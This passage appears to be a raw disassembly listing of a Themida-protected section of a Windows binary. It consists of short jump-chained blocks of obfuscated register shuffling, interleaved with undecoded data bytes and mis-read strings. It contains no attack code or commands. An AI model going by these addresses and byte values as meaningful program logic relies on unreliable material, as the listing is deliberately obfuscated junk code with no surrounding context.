		dd 7EE9585Eh, 5C000017h, 4C481h, 30FF0000h, 0FF9068E9h
		dd 303BB2FFh, 24148BD3h, 0FE04C483h, 9AB450CBh,	0E91CCC80h
		dd 61B6h, 37E95F5Eh, 5500007Bh,	1274BD66h, 7CC58166h, 66506650h
		dd 660522B8h, 5866C329h, 93EB8166h, 0EB296667h,	93C38166h
		dd 8C4E967h, 88510000h,	0E9EA88C5h, 0FFFFFEB6h
; ---------------------------------------------------------------------------


loc_56253C:				; CODE XREF: Themida_:0056EEF9j
		shr	ecx, 7
		push	23D4h
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_562C1F
; ---------------------------------------------------------------------------
		db 51h
		dd 2A18E9h
		db 0
; ---------------------------------------------------------------------------


loc_562555:				; CODE XREF: Themida_:0055E778j
		mov	dh, bl
		pop	ebx
		pop	ecx
		push	ecx
		mov	cl, dh
		mov	[edi+eax*4+1], cl
		pop	ecx
		push	dword ptr [esp]
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		jmp	loc_5684E3
; ---------------------------------------------------------------------------
		dd 24048B66h, 0AA02E9h
		db 0
; ---------------------------------------------------------------------------


loc_56257D:				; CODE XREF: Themida_:00560770j
		add	[esp+4], ebx
		jmp	loc_56FF9D
; ---------------------------------------------------------------------------


loc_562586:				; CODE XREF: Themida_:0055EC8Ej
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	ebp
		mov	ebp, 4
		sub	edx, ebp
		pop	ebp
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	esi
		mov	esi, 0A037934h
		push	edi
		jmp	loc_564716
; ---------------------------------------------------------------------------


loc_5625B5:				; CODE XREF: Themida_:0055FED3j
		pop	ebx
		dec	dl
		push	ecx
		push	ebx
		jmp	loc_5617C5
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481243Ch, 4, 0B416E9h
		db 0
; ---------------------------------------------------------------------------


loc_5625CD:				; CODE XREF: Themida_:0056A9CDj
		pop	esp
		mov	[esp], cx
		jmp	loc_55CF47
; ---------------------------------------------------------------------------


loc_5625D7:				; CODE XREF: Themida_:0056C8DCj
		jmp	loc_55B555
; ---------------------------------------------------------------------------
		dd 2D552FB9h, 3E9C155h,	0D1F7D9F7h, 5A2FC981h, 0A8E97205h
		dd 81000091h, 4ECh, 24348900h, 1C8B5453h, 4C48324h, 22A5E9h
		dd 2434FF00h, 0DB72E958h, 6905FFFFh, 5F52DF7Bh,	3213E9h
		db 0
; ---------------------------------------------------------------------------


loc_56261D:				; CODE XREF: Themida_:00568CEBj
		add	esp, 4
		jmp	loc_56A56E
; ---------------------------------------------------------------------------
		db 5Eh,	8Fh, 4
		dd 24248B24h, 0FFAB41E9h, 0C14058FFh, 0CE2505E8h, 0E92E9623h
		dd 0FFFF96FDh, 2D5DE929h, 52AB339Dh, 0EE7D3205h, 2DC82947h
		dd 47EE7D32h, 339DBB53h, 0D80152ABh, 88E9595Bh,	87000007h
		dd 248B2414h, 24048924h, 0FFF33BE9h, 0E95452FFh, 0FFFFDAADh
; ---------------------------------------------------------------------------


loc_562678:				; CODE XREF: Themida_:0055DA09j
		add	esp, 4
		push	ebp
		mov	ebp, 6E6A5407h
		xor	ebp, 6E6A5403h
		push	edx
		mov	edx, 3E42A90h
		add	ebx, edx
		pop	edx
		add	ebx, 5A6631E6h
		add	ebx, ebp
		jmp	loc_56F983
; ---------------------------------------------------------------------------
		db 5Ah,	0FEh, 0CEh
		dd 3004EE80h, 4ECBE9F7h, 59540000h, 4F53BB53h, 0B7E9652Ch
		dd 2D0000B4h, 372F727Ch, 0FF9A64E9h, 0DDEB81FFh, 897F3F6Bh
		dd 55525BDDh, 0FFF9CDE9h, 4EC81FFh, 89000000h, 19B1240Ch
		dd 0FE67B050h, 0C08F0CC0h, 0EC8307E8h, 241C8904h, 0CF8047B7h
		dd 0FED7F6FCh, 80CFFEC7h, 0F9E972EFh, 81000047h, 4C7h
		dd 4EC8100h, 89000000h,	4B9240Ch, 83000000h, 2C8904ECh
		dd 0EEBF5724h, 81494071h, 0DA0BC7F7h, 0F3CF8104h, 81220A2Bh
		dd 0AA1BEDEFh, 0FCC78165h, 81743848h, 419CE6EFh, 0B3FE927h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562742:				; CODE XREF: Themida_:00567AB6j
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 79BF2E52h
		jmp	loc_564E24
; ---------------------------------------------------------------------------
		dd 6116B8B9h, 5DC18108h, 0E91F06F2h, 4CB9h, 0CA885266h
		dd 0FFEE19E9h, 5E089FFh, 4, 8704C083h, 248B2404h, 5BDA3124h
		dd 0FFD3A8E9h, 82B951FFh, 0E92C5502h, 0FFFFC7FEh
; ---------------------------------------------------------------------------


loc_5627A4:				; CODE XREF: Themida_:0056B2BEj
		push	ebp
		mov	ebp, 6BBC5E1Ah
		sub	ebp, 716F3AC6h
		or	ebp, 39896411h
		dec	ebp
		xor	ebp, 88CA79B7h
		sub	edx, ebp
		pop	ebp
		pop	esi
		add	ebp, edx
		jmp	loc_5627E8
; ---------------------------------------------------------------------------
		dd 300665BFh, 2A18E943h, 50470000h, 6EADE9h
		db 0
; ---------------------------------------------------------------------------


loc_5627D9:				; CODE XREF: Themida_:0056F4FFj
		mov	esi, 1
		sub	ecx, esi
		pop	esi
		xor	esi, ecx
		jmp	loc_56510D
; ---------------------------------------------------------------------------


loc_5627E8:				; CODE XREF: Themida_:005627C3j
		pop	edx
		jmp	loc_56A7B9
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 0B8505324h, 8377D23h, 0F2F27DBBh, 58C3015Bh,	199C88BDh
		dd 8BDD0103h, 0C483241Ch, 5DE82904h, 592434FFh,	344AE9h
		dd 0D4E18100h, 817AF84Bh, 756C08F1h, 0B8505512h, 7E15517Ch
		dd 87F8E9h, 0E9C82900h,	0FFFFE790h
; ---------------------------------------------------------------------------


loc_562838:				; CODE XREF: Themida_:0056ABBDj
		push	4D94h
		mov	[esp], edx
		mov	edx, 4
		add	ebp, 61E96CB3h
		add	ebp, edx
		sub	ebp, 61E96CB3h
		pop	edx
		jmp	loc_56D238
; ---------------------------------------------------------------------------


loc_562859:				; CODE XREF: Themida_:0056A67Ej
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_56A993
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 0F204463h, 0E924048Bh, 0DCABh
; ---------------------------------------------------------------------------


loc_562874:				; CODE XREF: Themida_:0055DD4Cj
		sub	ebx, eax
		pop	eax
		add	ebp, ebx
		jmp	loc_565902
; ---------------------------------------------------------------------------


loc_56287E:				; CODE XREF: Themida_:0056AF58j
		add	esi, 4F342A36h
		sub	ebx, esi
		pop	esi
		jmp	loc_56624E
; ---------------------------------------------------------------------------
		dd 0C222ADBBh, 5BDA3168h, 840FC90Bh, 5E2Bh, 53E18951h
		dd 7C6CBE56h, 0F3892DB9h, 81DBF75Eh, 0AD343DF3h, 95E3816Fh
		dd 0E975C50Bh, 64D1h, 7E06BF57h, 0C7817E78h, 2A550EC7h
		dd 8103E7C1h, 7B56E3F7h, 85D5E904h, 81570000h, 4ECh, 24048900h
		dd 0C79BFB8h, 0BFBA524Eh, 21684B61h, 20B7E9D0h,	50680000h
		dd 8900004Fh, 8BE92434h, 10000C8h, 0E95E5EF0h, 8719h
		db 1, 0F7h, 5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		jmp	loc_55CADE
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 568CE9h, 62AA6800h, 6AE90000h, 50FFFF98h,	8904EC83h
		dd 0ACE9240Ch
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56293B:				; CODE XREF: Themida_:00563C1Bj
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_55D42A
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
aBscsRiIZsox	db 'é–é)ÕR‰Ê‰ÖZéŽX',0
		dd 240C8B00h, 6604C483h, 0EAE930FFh
		db 0B7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56296B:				; CODE XREF: Themida_:005694D0j
		pop	eax
		jmp	loc_566362
; ---------------------------------------------------------------------------
		db 50h,	0B0h, 1Eh
		dd 0FC34C8FEh, 55B75366h, 0F828D704h, 5B66D72Ch, 1B85E9h
		db 0
; ---------------------------------------------------------------------------


loc_562989:				; CODE XREF: Themida_:0056D008j
		mov	ecx, 14B248Bh
		jmp	loc_560AEF
; ---------------------------------------------------------------------------


loc_562993:				; CODE XREF: Themida_:0056449Bj
		xor	ebx, ebp
		pop	ebp
		xor	eax, ebx
		pop	ebx
		add	ebp, eax
		jmp	loc_563232
; ---------------------------------------------------------------------------
		dd 42474FFh, 5A2434FFh,	8F04C483h, 0E4E92404h
		db 0B5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5629B3:				; CODE XREF: Themida_:00563408j
		add	[esp+4], esi
		pop	esi
		jmp	loc_56F608
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 81E68956h, 4C6h, 0E801E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5629CE:				; CODE XREF: Themida_:0055F4B5j
		pop	edx
		jmp	loc_55E0A3
; ---------------------------------------------------------------------------


loc_5629D4:				; CODE XREF: Themida_:0057059Fj
		or	eax, ebp
		jmp	loc_56CE69
; ---------------------------------------------------------------------------


loc_5629DB:				; CODE XREF: Themida_:0055F703j
		sub	ebx, eax
		sub	ebx, 34954F51h
		sub	ebx, 132E3109h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56B0F7
; ---------------------------------------------------------------------------


loc_5629F7:				; CODE XREF: Themida_:0056BF54j
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_56AEDC
; ---------------------------------------------------------------------------
		dd 351C3CBFh, 5FF80110h, 4D75ED2Dh, 62CB2D00h, 992D2963h
		dd 12C134Ch, 81CCE9E8h,	8F5B0000h, 0CAE92404h, 83000079h
		dd 348704EEh, 2C895C24h, 0A7DEE924h, 0C701FFFFh, 0FFE12CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562A41:				; CODE XREF: Themida_:00561EFBj
		pop	cx
		xor	bl, al
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_565307
; ---------------------------------------------------------------------------


loc_562A59:				; CODE XREF: Themida_:0055EF67j
		pop	edi
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_55B555
; ---------------------------------------------------------------------------


loc_562A65:				; CODE XREF: Themida_:0056C823j
		pop	edi
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5600E2
; ---------------------------------------------------------------------------
		dd 312457B9h, 6AE95532h
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562A7F:				; CODE XREF: Themida_:00562AC9j
		add	esp, 4
		shr	eax, 4
		push	esi
		push	0F9CF558Bh
		jmp	loc_56CD1B
; ---------------------------------------------------------------------------


loc_562A90:				; CODE XREF: Themida_:0055C7DDj
		neg	ebx
		push	ebp
		jmp	loc_56E1A8
; ---------------------------------------------------------------------------


loc_562A98:				; CODE XREF: Themida_:005705B0j
		xchg	eax, [esp]
		jmp	loc_56A1C8
; ---------------------------------------------------------------------------


loc_562AA0:				; CODE XREF: Themida_:00567679j
		add	edi, 4
		jmp	loc_55F21E
; ---------------------------------------------------------------------------
		db 5Bh
		dd 8159CA01h, 0AB98EBF2h, 5AD101CBh, 31240C33h,	0C33240Ch
		dd 0AECDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562AC6:				; CODE XREF: Themida_:005648E4j
		mov	edi, [esp]
		jmp	loc_562A7F
; ---------------------------------------------------------------------------
		dw 487h
		dd 0C8285C24h, 240C8B66h, 402C483h, 4EC81A2h, 89000000h
		dd 0F0B5240Ch, 20E6E9h,	4FD76800h, 34890000h, 0BC685224h
		dd 5A1E441Dh, 50B3C281h, 89531D53h, 0E9DE89D3h,	0FFFFC59Eh
		dd 5C24048Fh, 0FFC186E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562B15:				; CODE XREF: Themida_:0056B6AFj
		pop	ebp
		jmp	loc_560E66
; ---------------------------------------------------------------------------


loc_562B1B:				; CODE XREF: Themida_:0055EE11j
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_564797
; ---------------------------------------------------------------------------
		db 4Bh,	81h, 0F3h
		dd 0C1D4B6Fh, 8BC5F381h, 0DD290996h, 81241C8Bh,	4C4h, 5DE80100h
		dd 4F2DE801h, 8B76833Ch, 0C481242Ch, 4,	0DDE9C301h, 5FFFFFEDh
		dd 4B9FE957h, 815D0000h, 972CBAEFh, 81CF0127h, 972CBAC7h
		dd 4E776827h, 0C890000h, 68F9E924h, 45680000h, 89000032h
		dd 0CAE92414h, 25FFFF89h, 6B4D67B9h, 4D661235h,	0C6ACE94Bh
		dd 6C81FFFFh, 5A240824h, 74013435h, 0DDE90824h,	300000A0h
		dd 53FF68D8h, 1C890000h, 0FD75E924h, 0F780FFFFh, 1EF806Ah
		dd 495EE9h
		db 0
; ---------------------------------------------------------------------------


loc_562BC5:				; CODE XREF: Themida_:00568C05j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	eax
		mov	eax, 1
		sub	esi, eax
		jmp	loc_56ED97
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 59E829BAh, 0EFE9D9F7h, 0FF000026h, 14F7240Ch, 0D7F75F24h
		dd 3AF2CF81h, 0E94F409Fh, 0FFFFC3EFh, 3E1C15Eh,	0FEC18149h
		dd 0E93D99ACh, 14Dh, 8BD0015Bh,	0CEE92414h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562C1F:				; CODE XREF: Themida_:0056254Aj
		push	dword ptr [esp]
		jmp	loc_56070A
; ---------------------------------------------------------------------------


loc_562C27:				; CODE XREF: Themida_:0056526Fj
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_569F5E
; ---------------------------------------------------------------------------
		db 58h,	52h, 81h
		dd 4ECh, 240C8900h, 0EA88DD88h,	83240C8Bh, 885004C4h, 0E38853D4h
		dd 585BD988h, 0C1D1E9h,	50665300h, 0FFBEA5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562C65:				; CODE XREF: Themida_:005618F2j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_5702B4
; ---------------------------------------------------------------------------
		db 81h
		dd 1AD42404h, 8159111Ah, 1A1AD4E9h, 242C8B11h, 4EC81h
		dd 2C890000h, 81E58924h, 4C5h, 4C58300h, 5C242C87h, 8B59C889h
		dd 0F4E92434h
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562CA7:				; CODE XREF: Themida_:005624A9j
		mov	[esp], edi
		push	4937h
		mov	[esp], ecx
		push	307F3B20h
		mov	ecx, [esp]
		push	edi
		jmp	loc_55D120
; ---------------------------------------------------------------------------
		dd 78E868h, 0D811E900h,	0C483FFFFh, 0E3C14304h,	6F38102h
		dd 0E99D8DFCh, 0FFFFE182h, 68243C89h, 24CFh, 525D5455h
		dd 0B00D69BAh, 0EA81421Ch, 1CB00D66h, 97E9D501h, 6600007Eh
		dd 3C8BFE89h, 4C48124h,	0E9000000h, 0FFFF9E85h,	5104C483h
		dd 0FFE2C2E9h, 0FABAFFh, 0D60942E4h, 6CEE95Ah, 0F5280000h
		dd 0FFEE305Ah, 52592434h, 0C281E289h, 4, 5204C283h, 42474FFh
		dd 24048F5Ah, 8BF0005Ch, 0C4832414h, 81D82804h,	2ECh, 14896600h
		dd 2836B624h, 525A66F0h, 0FFE646E9h, 0FFCA09FFh, 81592434h
		dd 4C4h, 60BD5500h, 0F70AE92Fh,	93ED81DDh, 0E96EEC38h
		dd 0FFFFE02Fh
; ---------------------------------------------------------------------------


loc_562D80:				; CODE XREF: Themida_:0055CAFCj
		push	ebx
		mov	ebx, 6D44C57h
		push	edx
		mov	edx, 57500969h
		and	edx, 1E605997h
		push	725Dh
		mov	[esp], ebp
		jmp	loc_570324
; ---------------------------------------------------------------------------


loc_562D9F:				; CODE XREF: Themida_:0056C6BDj
		add	edx, 1D924EDBh
		pop	eax
		jmp	loc_562F11
; ---------------------------------------------------------------------------
		db 21h
		dd 0E95D1C6Fh, 0FFFF87A1h, 4AC368h, 24148900h, 0B15168B2h
		dd 1C18084h, 0B67FE9h
		db 0
; ---------------------------------------------------------------------------


loc_562DC9:				; CODE XREF: Themida_:0057066Fj
		neg	edx
		push	41EFh
		mov	[esp], ebp
		mov	ebp, 1C4B2E9Fh
		sub	ebp, 0FFFFFFFFh
		add	ebp, 2C7B4161h
		and	edx, ebp
		jmp	loc_568270
; ---------------------------------------------------------------------------
		db 50h
		dd 0C200D9B8h, 4C7AE91Ah, 56660000h, 0BE04E9h, 1C99BF00h
		dd 47BA5432h, 1BDDE49h,	243C8BFAh, 0C104C483h, 0E2C103EAh
		dd 4C28106h, 0E96F7CD1h, 0D98Ah
; ---------------------------------------------------------------------------


loc_562E20:				; CODE XREF: Themida_:0056BAEDj
		pop	esi
		sub	esp, 4
		mov	[esp], ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55B664
; ---------------------------------------------------------------------------
		db 0B9h
		dd 4E5A375Fh, 0C7EFE981h, 0CA29E6CAh, 0C2815D59h, 38774652h
		dd 4A50C281h, 0C201258Ch, 4A50EA81h, 0EA81258Ch, 38774652h
		dd 75E268h, 242C8900h, 7E3A6853h, 1C8B6EF0h, 4C48324h
		dd 0D3E9DD89h, 66000046h, 81240C8Bh, 4ECh, 24148900h, 9D0E9h
		dd 1C576800h, 8BE90000h
		db 92h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562E97:				; CODE XREF: Themida_:00567EB9j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_56B05B
; ---------------------------------------------------------------------------


loc_562EA8:				; CODE XREF: Themida_:0055B730j
		add	[eax], ebx
		mov	eax, [esp]
		add	esp, 4
		mov	ebx, [esp]
		jmp	loc_55DF54
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 64ABh, 0E9243489h, 0B3C7h
; ---------------------------------------------------------------------------


loc_562ECC:				; CODE XREF: Themida_:00563AE9j
		sub	ebx, 6DED278Bh
		sub	ebx, 78BA3E4Dh
		xor	ebx, 716CB8A9h
		sub	eax, 65022CB6h
		sub	eax, ebx
		jmp	loc_5649BC
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 1062BB5h, 0F8E9D9F7h, 66000058h, 56240C8Bh, 5404EC83h
		dd 0E924048Fh, 8754h
; ---------------------------------------------------------------------------


loc_562F08:				; CODE XREF: Themida_:00566F2Aj
		pop	esp
		mov	[esp], ebx
		jmp	loc_56B543
; ---------------------------------------------------------------------------


loc_562F11:				; CODE XREF: Themida_:00562DA6j
		push	edx
		push	ebx
		mov	ebx, 3B95654Fh
		sub	[esp+4], ebx
		pop	ebx
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4CAE5924h
		jmp	loc_55E349
; ---------------------------------------------------------------------------


loc_562F31:				; CODE XREF: Themida_:0056B9EBj
		push	eax
		jmp	loc_56C845
; ---------------------------------------------------------------------------
		db 89h
		dd 4C381E3h, 83000000h,	0FF5304C3h, 5B042474h, 0E924048Fh
		dd 8028h, 4EC81h, 47E90000h
		db 0C8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_562F5B:				; CODE XREF: Themida_:0056CD5Bj
		xchg	al, dh
		jmp	loc_56072E
; ---------------------------------------------------------------------------


loc_562F62:				; CODE XREF: Themida_:0056A589j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0
		sub	eax, edi
		mov	edi, eax
		pop	eax
		jmp	loc_56FEDB
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 1B68240Ch, 0E9000024h, 0FFFFD9A2h, 68F58955h, 1919h
		dd 0E9242C89h, 0FFFFFCDBh, 678DBA52h, 94685BC0h, 584DDA4Bh
		dd 485AD031h, 0A26CE025h, 3D92E972h, 0EC830000h, 24048904h
		dd 0B8h, 2B0F6800h, 34890000h, 39DCBE24h, 0F00103B2h, 2DF8295Eh
		dd 3B239DCh, 89C28952h,	34FF5AD7h, 0C4815824h, 4, 0FFD95DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562FE9:				; CODE XREF: Themida_:0056A01Ej
		push	esi
		mov	esi, 70F12096h
		jmp	loc_56AE31
; ---------------------------------------------------------------------------
aL4Sius		db '‹4$S‰ãé[[',0
		dw 0BA00h
		dd 87074BC9h, 148BD631h, 0BAB5E924h, 0C2810000h, 42D46844h
		dd 3ECDE9h, 58C13000h, 0FEEDB652h, 0E1C680CEh, 58C8E9h
		dd 0D9EE8100h, 81D96E53h, 0D3738BC5h, 0E9F50163h, 0FFFF88A4h
; ---------------------------------------------------------------------------


loc_56303C:				; CODE XREF: Themida_:00566F19j
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 5BBE3C82h
		jmp	loc_56A9BC
; ---------------------------------------------------------------------------
		db 89h
		dd 0E08950E6h, 405h, 42D00h, 4870000h, 2CE95C24h, 57FFFFCCh
		dd 4243E9h, 13196800h, 0C890000h, 0E9FAB524h, 1548h, 48B35359h
		dd 0E95BD800h, 463Dh, 8124148Bh, 4C4h, 3ABB5300h, 81150944h
		dd 0B82337E3h, 3FC38164h, 51710119h, 0B103E9B9h, 59CB3140h
		dd 0F381D3F7h, 51B05602h, 68EDEB81h, 0C5813AC5h, 5FFC61FEh
		dd 0ED81DD01h, 5FFC61FEh, 8E5C15Bh, 0E5C1DDF7h,	3EDC106h
		dd 91BE9h, 60EDBF00h, 0E7C128FFh, 0F7CF8106h, 81281E5Fh
		dd 386C34EFh, 5FFD09E6h, 0FFF9F0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5630FD:				; CODE XREF: Themida_:005694FEj
		sub	esp, 4
		jmp	loc_56FDBB
; ---------------------------------------------------------------------------


loc_563108:				; CODE XREF: Themida_:00568671j
		pop	edx
		mov	eax, [esp]
		push	ecx
		jmp	loc_566428
; ---------------------------------------------------------------------------
		dw 1487h
		dd 3AE95C24h, 42FFFF84h, 78EAEA81h, 0EA813F95h,	68F2A93Bh
		dd 148BD601h, 4C48324h,	4BF57h,	0C6810000h, 73686A0Bh
		dd 15F6E9h
		db 0
; ---------------------------------------------------------------------------


loc_563141:				; CODE XREF: Themida_:0055FC37j
		add	eax, edi
		add	eax, 3D452A1Ah
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		mov	edx, eax
		pop	eax
		push	edx
		jmp	loc_56A1B7
; ---------------------------------------------------------------------------
		dd 8704C483h, 248B240Ch, 0EDA7E924h, 0C87FFFFh,	24895C24h
		dd 24048124h, 4, 5B2434FFh, 0FFEF6EE9h,	4BDFFh,	0E8890000h
		dd 83242C8Bh, 0A8E904C4h, 5EFFFFBBh, 9979E9h, 8BF58800h
		dd 0C4812414h, 4, 8B66EB00h, 4EE9240Ch
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5631AB:				; CODE XREF: Themida_:0055DCD9j
		pop	edi
		jmp	loc_568835
; ---------------------------------------------------------------------------
		db 29h,	0FBh, 5Fh
		dd 0B080E9h, 0B9515A00h, 18543E7Ch, 0EDC18141h,	111EF15h
		dd 0D00159C8h, 43546A2Dh, 0BE565A2Ah, 2, 27D768h, 95BBE900h
		dd 0C4810000h, 4, 505BDE89h, 0B8h, 89F02900h, 0EEC158C6h
		dd 0EC815507h, 4, 0B8240489h, 71D1318Eh, 505E8C1h, 60D84D3Ch
		dd 2D02E8C1h, 0E71F51CEh, 89C18951h, 815859CDh,	9B519CEEh
		dd 0C5BB5339h, 29407648h, 85CCE9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563232:				; CODE XREF: Themida_:0056299Bj
		mov	eax, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	edx, 4
		push	3FE2h
		mov	[esp], esi
		jmp	loc_560FEA
; ---------------------------------------------------------------------------
		db 1, 0FEh, 0E9h
		dd 2501h, 0B951535Fh, 6463DD4h,	8107E9C1h, 0C3649DE9h
		dd 0DDF1812Fh, 0C12DDB35h, 1EE903E1h, 5F00006Ah, 0FFBA12E9h
		dd 0E9FD89FFh, 0FFFFC4B3h, 22CEC681h, 5CE9662Eh
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563293:				; CODE XREF: Themida_:0055CCDFj
		not	edx
		jmp	loc_5607B3
; ---------------------------------------------------------------------------


loc_56329A:				; CODE XREF: Themida_:0056F6BDj
		push	esi
		jmp	loc_5609E4
; ---------------------------------------------------------------------------
		dd 1162BB53h, 0E9550F99h, 0A936h, 91F38143h, 81288271h
		dd 88F220C3h, 1FFBE975h, 0EC830000h, 241C8904h,	0EF12AE68h
		dd 0CB815B12h, 1D833078h, 0E902E3C1h, 87D1h, 0FCD3A905h
		dd 58C201FFh, 4EC81h, 14890000h, 0F6B2E924h, 0C05BFFFFh
		dd 0C38008EBh, 5BD92823h, 5FA468h, 24048900h, 0E0C096B0h
		dd 842BE907h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56330A:				; CODE XREF: Themida_:0056F4C6j
		mov	eax, [esp]
		jmp	loc_55BB39
; ---------------------------------------------------------------------------


loc_563312:				; CODE XREF: Themida_:00566379j
		sub	ebp, 0FFFFFFFFh
		jmp	loc_566DF0
; ---------------------------------------------------------------------------
		dw 34FFh
aShz		db '$éh‡',0
		align 2
aQsh9		db 'QéH9',0
		align 4
		dd 5A2434FFh, 87EFE9h
		db 0
; ---------------------------------------------------------------------------


loc_563331:				; CODE XREF: Themida_:0056642Cj
		pop	ecx
		add	esp, 4
		jmp	loc_5644FD
; ---------------------------------------------------------------------------


loc_56333A:				; CODE XREF: Themida_:0056EF42j
		mov	edx, 17263D2Eh
		jmp	loc_56C6AF
; ---------------------------------------------------------------------------
		dd 159CE31h, 0F5E95EF3h, 0B9000080h, 0A4B2D7Bh,	8244C01h
		dd 592434FFh, 104C483h,	81042454h, 7B04246Ch, 0FF0A4B2Dh
		dd 14E92434h, 8100002Ch, 0E900BCF5h, 5D5E5578h,	9900E9h
		dd 0C8015F00h, 44007F2Dh, 240C8B36h, 6804C483h,	1B6Ah
		dd 54243489h, 0FFA0EEE9h, 240408FFh, 858BE99Ch,	814A0000h
		dd 9F566ACAh, 0AEE28122h, 0C12AE720h, 0EA8106E2h, 0B9C00B7Ch
		dd 243C8B52h, 4C481h, 685A0000h, 7D0Eh,	0FF8EB2E9h, 6EAC1FFh
		dd 6EC7EA81h, 3CE9583Fh
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5633DF:				; CODE XREF: Themida_:0055FB83j
		xor	edi, 2F9A3D46h
		jmp	loc_568191
; ---------------------------------------------------------------------------


loc_5633EA:				; CODE XREF: Themida_:0056F7FDj
		push	eax
		jmp	loc_56E865
; ---------------------------------------------------------------------------
		dd 0F708E6C1h, 0BD554EDEh, 62AE3C59h, 0C9E9D5F7h
		db 8Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563403:				; CODE XREF: Themida_:00564A4Fj
		mov	esi, 4
		jmp	loc_5629B3
; ---------------------------------------------------------------------------
aSC		db '^éÔc',0
		dw 5C00h
		dd 0E9241C89h, 4B43h, 32B6E581h, 0EDC12C4Bh, 57D5F707h
		dd 0F43633BFh, 5FFD313Ah, 3308E957h, 15050000h,	0E95CB625h
		dd 887Fh
; ---------------------------------------------------------------------------


loc_563440:				; CODE XREF: Themida_:00561E4Dj
		pop	ebx
		add	ebx, ecx
		pop	ecx
		jmp	loc_55B9A7
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0EC83E289h, 24048904h, 4BD55h, 2FE90000h
		db 9Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56345F:				; CODE XREF: Themida_:005687E2j
		xor	edi, 47B259E6h
		sub	edi, 22867E09h
		or	ebp, edi
		pop	edi
		neg	ebp
		xor	ebp, 0D064D978h
		jmp	loc_55D03F
; ---------------------------------------------------------------------------


loc_56347B:				; CODE XREF: Themida_:0055FCCAj
		push	5538h
		mov	[esp], ecx
		push	5EE20A5Fh
		mov	ecx, [esp]
		add	esp, 4
		shr	ecx, 8
		sub	ecx, 0EE73D718h
		sub	esp, 4
		mov	[esp], ecx
		sub	dword ptr [esp], 7A3551EBh
		jmp	loc_5623EC
; ---------------------------------------------------------------------------
		dd 2474FF51h, 48F5904h,	14895C24h, 0E99C5024h, 130Bh
; ---------------------------------------------------------------------------


loc_5634C0:				; CODE XREF: Themida_:0055F4E3j
		push	ebx
		jmp	loc_55F8DA
; ---------------------------------------------------------------------------
		dw 368h
		dd 8900003Eh, 48B2404h,	0B5E95624h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5634D7:				; CODE XREF: Themida_:00568EF7j
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_568D7F
; ---------------------------------------------------------------------------


loc_5634E2:				; CODE XREF: Themida_:0055F50Aj
		add	esp, 4
		and	eax, ecx
		push	dword ptr [esp]
